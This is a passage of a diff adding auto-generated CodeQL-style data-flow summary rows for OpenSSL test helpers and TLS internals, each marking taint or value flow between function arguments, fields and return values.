"dfc-generated"] + - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "test_arg_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,OSSL_PROVIDER **,int,const char *)", "", "Argument[3]", "Argument[**2].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "test_fail_bignum_message", "(const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "test_fail_bignum_message", "(const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] + - ["", "", True, "test_fail_bignum_mono_message", "(const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "test_get_argument", "(size_t)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[**0]", "Argument[**3].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[*0]", "Argument[**3].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[*4]", "Argument[**3].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[0]", "Argument[**3].Field[*libctx]", "taint", "dfc-generated"] + - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "test_get_libctx", "(OSSL_LIB_CTX **,OSSL_PROVIDER **,const char *,OSSL_PROVIDER **,const char *)", "", "Argument[4]", "Argument[**3].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "test_mk_file_path", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "test_mk_file_path", "(const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "test_mk_file_path", "(const char *,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "test_mk_file_path", "(const char *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "test_output_bignum", "(const char *,const BIGNUM *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "test_start_file", "(STANZA *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**test_file]", "value", "dfc-generated"] + - ["", "", True, "test_start_file", "(STANZA *,const char *)", "", "Argument[1]", "Argument[*0].Field[*test_file]", "value", "dfc-generated"] + - ["", "", True, "test_vprintf_stderr", "(const char *,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "test_vprintf_stdout", "(const char *,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "test_vprintf_taperr", "(const char *,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "test_vprintf_tapout", "(const char *,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls12_get_psigalgs", "(SSL_CONNECTION *,int,const uint16_t **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "tls12_get_psigalgs", "(SSL_CONNECTION *,int,const uint16_t **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls12_get_psigalgs", "(SSL_CONNECTION *,int,const uint16_t **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls13_alert_code", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "tls1_alert_code", "(int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[*3]", "Argument[*0].Field[*numwpipes]", "taint", "dfc-generated"] + - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[2]", "Argument[*0].Field[*numwpipes]", "taint", "dfc-generated"] + - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[3]", "Argument[*0].Field[*numwpipes]", "taint", "dfc-generated"] + - ["", "", True, "tls1_allocate_write_buffers", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[*0]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[*2]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tls1_cbc_remove_padding_and_mac", "(size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,int,OSSL_LIB_CTX *)", "", "Argument[6]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_check_chain", "(SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "tls1_check_chain", "(SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls1_check_ec_tmp_key", "(SSL_CONNECTION *,unsigned long)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls1_get0_implemented_groups", "(int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tls1_get_formatlist", "(SSL_CONNECTION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_formatlist", "(SSL_CONNECTION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_formatlist", "(SSL_CONNECTION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls1_get_group_tuples", "(SSL_CONNECTION *,const size_t **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_group_tuples", "(SSL_CONNECTION *,const size_t **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_group_tuples", "(SSL_CONNECTION *,const size_t **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls1_get_requested_keyshare_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_requested_keyshare_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_requested_keyshare_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls1_get_supported_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_supported_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls1_get_supported_groups", "(SSL_CONNECTION *,const uint16_t **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "tls1_group_id2name", "(SSL_CTX *,uint16_t)", "", "Argument[*0].Field[**group_list].Field[**tlsname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "tls1_group_id2name", "(SSL_CTX *,uint16_t)", "", "Argument[*0].Field[**group_list].Field[*tlsname]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "tls1_group_id2nid", "(uint16_t,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls1_group_id_lookup", "(SSL_CTX *,uint16_t)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls1_group_id_lookup", "(SSL_CTX *,uint16_t)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "tls1_initialise_write_packets", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[*1].Field[*type]", "Argument[*5].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "tls1_initialise_write_packets", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[*1].Field[*version]", "Argument[*3].Field[*version]", "value", "dfc-generated"] + - ["", "", True, "tls1_initialise_write_packets", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls1_initialise_write_packets", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "tls1_initialise_write_packets", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "tls1_lookup_md", "(SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **)", "", "Argument[*0].Field[**ssl_digest_methods]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "tls1_lookup_md", "(SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **)", "", "Argument[*0].Field[*ssl_digest_methods]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "tls1_lookup_md", "(SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **)", "", "Argument[*1].Field[*hash_idx]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tls1_save_u16", "(PACKET *,uint16_t **,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)", "", "Argument[7]", "Argument[**4]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_groups", "(uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,int *,size_t)", "", "Argument[7]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_groups_list", "(SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups_list", "(SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_groups_list", "(SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[*1]", "Argument[*0].Field[**client_sigalgs]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[*1]", "Argument[*0].Field[**conf_sigalgs]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[1]", "Argument[*0].Field[**client_sigalgs]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[1]", "Argument[*0].Field[**conf_sigalgs]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[2]", "Argument[*0].Field[*client_sigalgslen]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_raw_sigalgs", "(CERT *,const uint16_t *,size_t,int)", "", "Argument[2]", "Argument[*0].Field[*conf_sigalgslen]", "value", "dfc-generated"] + - ["", "", True, "tls1_set_sigalgs", "(CERT *,const int *,size_t,int)", "", "Argument[2]", "Argument[*0].Field[*client_sigalgslen]", "taint", "dfc-generated"] + - ["", "", True, "tls1_set_sigalgs", "(CERT *,const int *,size_t,int)", "", "Argument[2]", "Argument[*0].Field[*conf_sigalgslen]", "taint", "dfc-generated"] + - ["", "", True, "tls1_shared_group", "(SSL_CONNECTION *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls_allocate_write_buffers_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,size_t *)", "", "Argument[2]", "Argument[*0].Field[*numwpipes]", "value", "dfc-generated"] + - ["", "", True, "tls_app_data_pending", "(OSSL_RECORD_LAYER *)", "", "Argument[*0].Field[*rrec].Field[*length]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_close_construct_packet", "(SSL_CONNECTION *,WPACKET *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_collect_extensions", "(SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_construct_certificate_request", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_client_certificate", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_client_hello", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_alpn", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_client_cert_type", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_cookie", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_ec_pt_formats", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_psk", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_renegotiate", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_ctos_server_cert_type", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_new_session_ticket", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_next_proto", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_server_hello", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_stoc_alpn", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_stoc_ec_pt_formats", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_construct_stoc_renegotiate", "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_decrypt_ticket", "(SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **)", "", "Argument[*3]", "Argument[**5].Field[*session_id]", "value", "dfc-generated"] + - ["", "", True, "tls_decrypt_ticket", "(SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **)", "", "Argument[3]", "Argument[**5].Field[*session_id]", "taint", "dfc-generated"] + - ["", "", True, "tls_decrypt_ticket", "(SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **)", "", "Argument[4]", "Argument[**5].Field[*session_id_length]", "value", "dfc-generated"] + - ["", "", True, "tls_default_post_process_record", "(OSSL_RECORD_LAYER *,TLS_RL_RECORD *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_default_read_n", "(OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *)", "", "Argument[1]", "Argument[*0].Field[*packet_length]", "taint", "dfc-generated"] + - ["", "", True, "tls_default_read_n", "(OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *)", "", "Argument[1]", "Argument[*5]", "value", "dfc-generated"] + - ["", "", True, "tls_do_compress", "(OSSL_RECORD_LAYER *,TLS_RL_RECORD *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_do_uncompress", "(OSSL_RECORD_LAYER *,TLS_RL_RECORD *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "tls_get_alert_code", "(OSSL_RECORD_LAYER *)", "", "Argument[*0].Field[*alert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "tls_get_compression", "(OSSL_RECORD_LAYER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls_get_compression", "(OSSL_RECORD_LAYER *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "tls_get_max_records_default", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[*4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_default", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_default", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_default", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_multiblock", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[*4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_multiblock", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_multiblock", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls_get_max_records_multiblock", "(OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tls_get_message_body", "(SSL_CONNECTION *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "tls_get_message_header", "(SSL_CONNECTION *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tls_get_peer_pkey", "(const SSL_CONNECTION *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "tls_get_peer_pkey", "(const SSL_CONNECTION *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "tls_get_ticket_from_client", "(SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **)", "", "Argument[*1].Field[*session_id]", "Argument[**2].Field[*session_id]", "value", "dfc-generated"] + - ["", "", True, "tls_get_ticket_from_client", "(SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **)", "", "Argument[*1].Field[*session_id_len]", "Argument[**2].Field[*session_id_length]", "value", "dfc-generated"] + - ["", "", True, "tls_initialise_write_packets_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[*1].Field[*type]", "Argument[*5].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "tls_initialise_write_packets_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "tls_initialise_write_packets_default", "(OSSL_RECORD_LAYER *,OSSL_RECORD_TEMPLATE *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_BUFFER *,size_t *)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[**16]", "Argument[**17].Field[***cbarg]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[*0]", "Argument[**17].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[*16]", "Argument[**17].Field[**cbarg]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[*1]", "Argument[**17].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[*8]", "Argument[**17].Field[**md]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[0]", "Argument[**17].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[10]", "Argument[**17].Field[*prev]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[11]", "Argument[**17].Field[*bio]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char *,int,int,int,int,const EVP_CIPHER *,size_t,const EVP_MD *,COMP_METHOD *,BIO *,BIO *,BIO *,const OSSL_PARAM *,const OSSL_PARAM *,const OSSL_DISPATCH *,void *,OSSL_RECORD_LAYER **)", "", "Argument[12]", "Argument[**17].Field[*next]", "value", "dfc-generated"] + - ["", "", True, "tls_int_new_record_layer", "(OSSL_LIB_CTX *,const char 